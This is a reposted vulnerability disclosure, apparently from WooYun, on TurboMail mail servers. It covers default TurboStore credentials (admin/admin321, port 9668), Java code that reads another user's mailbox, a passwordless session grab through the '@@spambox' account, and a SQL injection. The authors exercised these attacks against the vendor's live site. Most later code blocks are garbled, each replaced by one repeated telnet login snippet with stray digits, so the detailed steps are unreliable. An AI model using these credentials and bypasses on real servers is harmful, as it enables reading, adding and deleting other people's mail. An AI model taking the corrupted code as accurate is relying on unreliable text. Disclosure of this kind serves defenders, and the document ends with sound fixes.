神刀安全网

漏洞标题: TurboMail 设计缺陷以及默认配置导致的邮件信息泄露/权限逃脱/SQL注射

漏洞详情

披露状态:

2016-02-17: 细节已通知厂商并且等待厂商处理中
2016-02-17: 厂商已经确认,细节仅向厂商公开
2016-02-20: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-04-12: 细节向核心白帽子及相关领域专家公开
2016-04-22: 细节向普通白帽子公开
2016-05-02: 细节向实习白帽子公开
2016-05-17: 细节向公众公开

简要描述:

三连击,官网中招。

详细说明:

TurboMail在安装完毕之后会有多个应用打开端口监听数据,其中有一个叫做TurboStore是用于存储邮件信息的的核心组件。

漏洞标题:  TurboMail 设计缺陷以及默认配置导致的邮件信息泄露/权限逃脱/SQL注射

TurboStore打开的端口是9668

漏洞标题:  TurboMail 设计缺陷以及默认配置导致的邮件信息泄露/权限逃脱/SQL注射

在/conf/server.xml中的配置如下:

code 区域
<TSSERVER>
<TSSERVER_ENABLE>TRUE</TSSERVER_ENABLE>
<TSSERVER_LISTEN_SIZE>15</TSSERVER_LISTEN_SIZE>
<TSSERVER_SESSION_TIMEOUT>30</TSSERVER_SESSION_TIMEOUT>
<TSSERVER_MAX_THREADS>30</TSSERVER_MAX_THREADS>
<TSSERVER_TIMEOUT>60</TSSERVER_TIMEOUT>
<TSSERVER_USERNAME>admin</TSSERVER_USERNAME>
<TSSERVER_PASSWORD>YWRtaW4zMjE=3D</TSSERVER_PASSWORD>
<TSSERVER_GTS_PATH></TSSERVER_GTS_PATH>
<TSSERVER_ALLOW_IP></TSSERVER_ALLOW_IP>
<TSSERVER_LISTENERS>
<LISTENER>
<IP>all</IP>
<PORT>9668</PORT>
<SSL>FALSE</SSL>
</LISTENER>
</TSSERVER_LISTENERS>
</TSSERVER>

从上面可以看到TurboStore需要登录,而用户名密码默认分别为admin/admin321,使用telnet登录如下:

code 区域
telnet **.**.**.** 9668
login admin admin321
quit

漏洞标题:  TurboMail 设计缺陷以及默认配置导致的邮件信息泄露/权限逃脱/SQL注射

经过以上可以看出TurboStore是未限定IP登录的,测试官方同样能够成功登录:

code 区域
telnet **.**.**.** 9668
login admin admin321
quit

漏洞标题:  TurboMail 设计缺陷以及默认配置导致的邮件信息泄露/权限逃脱/SQL注射

TurboStore的通信数据结构,类似如下:

code 区域
json cmd :{"cmd":"getfoldersinfo","param":{"folderlist":["del","draft","exception","new","send","spam","virus"],"useraccount":"[email protected]"},"login_password":"admin321","login_user":"admin"}

系统中有完整的通信实现代码如下:

code 区域
/*      */   public static String getnextmsgid(String username, String domain, String mbtype, String msgid, boolean bUp, int iSortType, int iNew)
/* */ throws Exception
/* */ {
/* 303 */ if (mbtype != null) {
/* 304 */ if (mbtype.equals("virusbox")) {
/* 305 */ username = "@@virusbox";
/* 306 */ domain = null;
/* 307 */ mbtype = "new";
/* 308 */ } else if (mbtype.equals("spambox")) {
/* 309 */ username = "@@spambox";
/* 310 */ domain = null;
/* 311 */ mbtype = "new";
/* */ }
/* */ }
/* */
/* 315 */ Session ses = m_SessionManager.getSession();
/* */
/* 317 */ if (ses == null) {
/* 318 */ if (m_log != null)
/* 319 */ m_log.log("0", 1, 30721,
/* 320 */ "fail to get TurboStore JSONSession(" +
/* 321 */ m_SessionManager.getDesc() + ")");
/* 322 */ return null;
/* */ }
/* */
/* 325 */ IntObj ioRet = new IntObj();
/* */
/* 327 */ JSONObject jsonRet = null;
/* */ try
/* */ {
/* 330 */ JSONObject jsonParam = new JSONObject();
/* */
/* 332 */ if (domain == null)
/* 333 */ jsonParam.put("useraccount", username);
/* */ else
/* 335 */ jsonParam.put("useraccount", username + "@" + domain);
/* 336 */ if (mbtype != null)
/* 337 */ jsonParam.put("mbtype", mbtype);
/* 338 */ if (msgid != null) {
/* 339 */ jsonParam.put("msgid", msgid);
/* */ }
/* 341 */ jsonParam.put("up", bUp ? 1 : 0);
/* 342 */ jsonParam.put("sorttype", iSortType);
/* */
/* 344 */ jsonParam.put("new", iNew);
/* */
/* 346 */ jsonRet = CmdJson.execute(ses, "getnextmsgid", jsonParam, ioRet);
/* */ } catch (Exception e) {
/* 348 */ e.printStackTrace();
/* */ }
/* */
/* 351 */ m_SessionManager.returnSession(ses);
/* */
/* 353 */ if (jsonRet == null) {
/* 354 */ return null;
/* */ }
/* 356 */ int iRetCode = jsonRet.getInt("retcode");
/* 357 */ if (iRetCode != 0) {
/* 358 */ return null;
/* */ }
/* 360 */ String strNextMsgid = null;
/* */
/* 362 */ if (jsonRet.has("msgid")) {
/* 363 */ strNextMsgid = jsonRet.getString("msgid");
/* */ }
/* 365 */ return strNextMsgid;
/* */ }

其中的jsonRet = CmdJson.execute(ses, "getnextmsgid", jsonParam, ioRet);中的getnextmsgid就是cmd,系统中大概有这么几个cmd:

code 区域
getmsg
getnextmsgid
getmsglist
getmsgnum
addmsg
settag
delmsg
delfoldermsg

每个cmd对应不同的参数,下面以官网(http://**.**.**.**:8080/)为例获取其中的tech@**.**.**.**邮箱的收件信息,部分利用代码如下:

code 区域
m_SessionManager = new SessionManager("**.**.**.**", 9668, 30, "admin", "admin321", 20, null);
jsonParam.put("useraccount","tech@**.**.**.**");
jsonParam.put("mbtype", "new");
jsonParam.put("items", 50);
jsonRet = CmdJson.execute(ses, action, jsonParam, ioRet);
String strRet = jsonRet.toString();
out.println(strRet);

把测试文件放到本地搭建的TurboMail服务器的根目录然后访问,得到前50个邮件:

漏洞标题:  TurboMail 设计缺陷以及默认配置导致的邮件信息泄露/权限逃脱/SQL注射

通过addmsg以及delmsg还可以添加删除邮件,危害较大这里就不演示了。

下面来来分析如何获取webmail权限,TurboMail是基于sessionid来进行权限验证,登录后分配一个sessionid作为验证凭证,类似于这样:

code 区域
http://**.**.**.**:8080/tmw/7/next/loading.jsp?sessionid=2cedc64He_0
http://**.**.**.**:8080/tmw/7/mailmain?flag=-1&intertype=ajax&type=getmaillist&sessionid=2cedc64He_0&mbtype=spam&onlynew=false&start=0&limit=50&where=false

因此主要目标是获取这个sessionid,来看下面的代码,在入口程序MailMain.java中引用了ShowMsg.showAbstract(request, response):

code 区域
else if (type.equals("showmsgabstract")) {
ShowMsg.showAbstract(request, response);

ShowMsg.showAbstract(request, response)主要代码如下:

code 区域
/*      */   public static void showAbstract(HttpServletRequest request, HttpServletResponse response)
/* */ throws ServletException, IOException
/* */ {
/* 669 */ showAbstract(false, request, response);
/* */ }
/* */
/* */ public static void showAbstract(boolean bAjax, HttpServletRequest request, HttpServletResponse response)
/* */ throws ServletException, IOException
/* */ {
/* 685 */ String receiveaccount = request.getParameter("receiveaccount");
……
/* */
/* 697 */ MailSession ms = null;
/* */
/* 699 */ if (ServerConf.b_SYS_GATEWAY_MODE) {
/* 700 */ ms = MailSession.getGwuserSession(receiveaccount);
/* */ }
/* 702 */ else if (receiveaccount.equals("@@spambox"))
/* 703 */ ms = MailSession.getGwuserSession("spambox", "root");
/* */ else {
/* 705 */ ms = MailSession.makeSimpleSession(receiveaccount);
/* */ }
/* */
/* 709 */ if (ms == null) {
/* 710 */ if (bAjax)
/* 711 */ AjaxUtil.ajaxFail(request, response, "info.rcpterror", null);
/* */ else
/* 713 */ XInfo.gotoInfo(null, request, response, "info.rcpterror", null,
/* 714 */ 0);
/* 715 */ return;
/* */ }
/* */
……
/* */
/* 757 */ String mbid = request.getParameter("mbid");
/* 758 */ if (mbid == null) {
/* 759 */ mbid = "0";
/* */ }
/* */
/* 762 */ String strNext = request.getParameter("next");
/* */
/* 764 */ if (strNext == null) {
/* 765 */ strNext = "";
/* */ }
/* */
/* 768 */ String mbtype = request.getParameter("mbtype");
/* 769 */ if (mbtype == null) {
/* 770 */ mbtype = "new";
/* */ }
/* 772 */ if (!Util.dirSafe(mbtype)) {
/* 773 */ if (bAjax)
/* 774 */ AjaxUtil.ajaxFail(request, response, "info.securitycheck", null);
/* */ else
/* 776 */ XInfo.gotoInfo(ms, request, response, "info.securitycheck",
/* 777 */ null, 0);
/* 778 */ return;
/* */ }
/* */
……
/* 792 */ String strMsgid = request.getParameter("msgid");
/* 793 */ if (strMsgid == null) {
/* 794 */ strMsgid = "0";
/* */ }
/* 796 */ strMsgid = Util.formatRequest(strMsgid, MailMain.s_os,
/* 797 */ SysConts.New_InCharSet);
/* */
/* 799 */ if (!Util.dirSafe(strMsgid)) {
/* 800 */ if (bAjax)
/* 801 */ AjaxUtil.ajaxFail(request, response, "info.securitycheck", null);
/* */ else
/* 803 */ XInfo.gotoInfo(ms, request, response, "info.securitycheck",
/* 804 */ null, 0);
/* 805 */ return;
/* */ }
/* */
/

/* 816 */ String useraccount = request.getParameter("useraccount");
/* */
/* 818 */ String spamUserName = Util.getUsername(ServerConf.AS_SPAMBOX);
/* 819 */ String spamDomain = Util.getDomain(ServerConf.AS_SPAMBOX);
/* 820 */ if ((spamUserName.equals("")) || (spamDomain.equals("")))
/* */ {
/* 822 */ if (bAjax)
/* 823 */ AjaxUtil.ajaxFail(request, response, "info.isemailexist", null);
/* */ else {
/* 825 */ XInfo.gotoInfo(ms, request, response, "info.isemailexist",
/* 826 */ null, 0);
/* */ }
/* 828 */ ms.logoutAndRemove();
/* 829 */ return;
/* */ }
/* */
/* 832 */ UserInfo abstractUserInfo = UserInfo.getSimpleUserInfo(spamUserName,
/* 833 */ spamDomain);
/* */



/* 851 */ if (!bAjax) {
/* */
/* 869 */ String strMailFolderPath = null;
/* 880 */ strMailFolderPath =
/* 881 */ UserAccount.getSuitUserPath(spamUserName,
/* 881 */ spamDomain) +
/* 882 */ SysConts.FILE_SEPARATOR +
/* 883 */ "spambox" +
/* 884 */ SysConts.FILE_SEPARATOR + strMsgid;
/* */
/* 886 */ File flMsg = new File(strMailFolderPath);
/* */
/* 888 */ if ((!flMsg.exists()) &&
/* 889 */ (!TBoxFile.isTboxFile(strMailFolderPath))) {
/* 890 */ if (bAjax)
/* 891 */ AjaxUtil.ajaxFail(request, response, "info.isemailexist", null);
/* */ else
/* 893 */ XInfo.gotoInfo(ms, request, response, "info.isemailexist",
/* 894 */ null, 0);
/* 895 */ ms.logoutAndRemove();
/* 896 */ return;
/* */ }

/* */
……
/* */
/* 948 */ RequestDispatcher rd = null;
/* */
……
/* */
/* 981 */ String url = null;
/* */
/* 990 */ url = "enterprise/msgabstractheader.jsp?sessionid=" +
/* 991 */ ms.session_id + "&username=" + ms.userinfo.getUid() +
/* 992 */ "&domain=" + ms.userinfo.domain + "&msgid=" +
/* 993 */ strMsgid + "&receiveaccount=" + receiveaccount;
/* */
/* 996 */ rd = request.getRequestDispatcher(url);
/* */ }
/* */
/* 999 */ String tagsymbol = request.getParameter("tagsymbol");
/* 1000 */ request.setAttribute("tagsymbol", tagsymbol);
/* 1001 */ if (!bAjax)
/* 1002 */ rd.forward(request, response);
/* */ }

程序首先通过request.getParameter("receiveaccount")获取到receiveaccount的值,如果这个值为@@spambox则调用ms = MailSession.getGwuserSession("spambox", "root");产生一个mailsession ms。注意这里没有验证密码就直接得到ms!

然后获取String strMsgid = request.getParameter("msgid"),这个strMsgid经过过滤进入到以下流程中:

code 区域
telnet **.**.**.** 9668
login admin admin321
quit

0

由strMsgid组合而成的路径strMailFolderPath,如果strMailFolderPath这个文件不存在的话则程序退出。来看看这个strMailFolderPath文件是啥样子的:

漏洞标题:  TurboMail 设计缺陷以及默认配置导致的邮件信息泄露/权限逃脱/SQL注射

152E9491193.tbdata是一个时间戳数字经过16进制转换而成的文件名,这个文件名如果要枚举的话次数在百亿以上显然是不现实的,看下面的代码:

code 区域
telnet **.**.**.** 9668
login admin admin321
quit

1

MessageAdmin.getNextMsgId()是从TurboStore中查询数据,那么strMsgid很有可能是存储在TurboStore中,于是查询@@spambox用户得到strMsgid:

code 区域
telnet **.**.**.** 9668
login admin admin321
quit

2

漏洞标题:  TurboMail 设计缺陷以及默认配置导致的邮件信息泄露/权限逃脱/SQL注射

code 区域
telnet **.**.**.** 9668
login admin admin321
quit

3

在这里将msgid赋值为152E9491193_tb_3344_5041则顺利通过,到最后ms.session_id(也就是Sessionid)作为参数使用rd.forward重定向到msgabstractheader.jsp,如下:

code 区域
telnet **.**.**.** 9668
login admin admin321
quit

4

而msgabstractheader.jsp也把sessionid做为参数传走:

code 区域
telnet **.**.**.** 9668
login admin admin321
quit

5

整个获取sessionid的POST数据包如下:

code 区域
telnet **.**.**.** 9668
login admin admin321
quit

6

然后在返回中找到sessionid:

漏洞标题:  TurboMail 设计缺陷以及默认配置导致的邮件信息泄露/权限逃脱/SQL注射

这个Sessionid可用于登录验证(有时效性),能够访问webmail的大多数应用:

code 区域
telnet **.**.**.** 9668
login admin admin321
quit

7

漏洞标题:  TurboMail 设计缺陷以及默认配置导致的邮件信息泄露/权限逃脱/SQL注射

获取到权限之后就可以进行SQL注射了在入口程序AjaxMain.java中调用方法:

code 区域
telnet **.**.**.** 9668
login admin admin321
quit

8

StatisticAdmin.sendFailMailStatistics()定义如下:

code 区域
telnet **.**.**.** 9668
login admin admin321
quit

9

程序获取sender的值直接拼接进入SQL查询导致了SQL注射发生:

code 区域
telnet **.**.**.** 9668
login admin admin321
quit

0

通过SQL注射能够GETSHELL,读取文件等操作之前写过了这里就不再赘述。

列一些受影响的域名/ip:

code 区域
telnet **.**.**.** 9668
login admin admin321
quit

1

漏洞证明:

同上

修复方案:

限定能访问TurboStore的IP地址以及参数化查询SQL语句

版权声明:转载请注明来源 applychen@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: TurboMail 设计缺陷以及默认配置导致的邮件信息泄露/权限逃脱/SQL注射

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址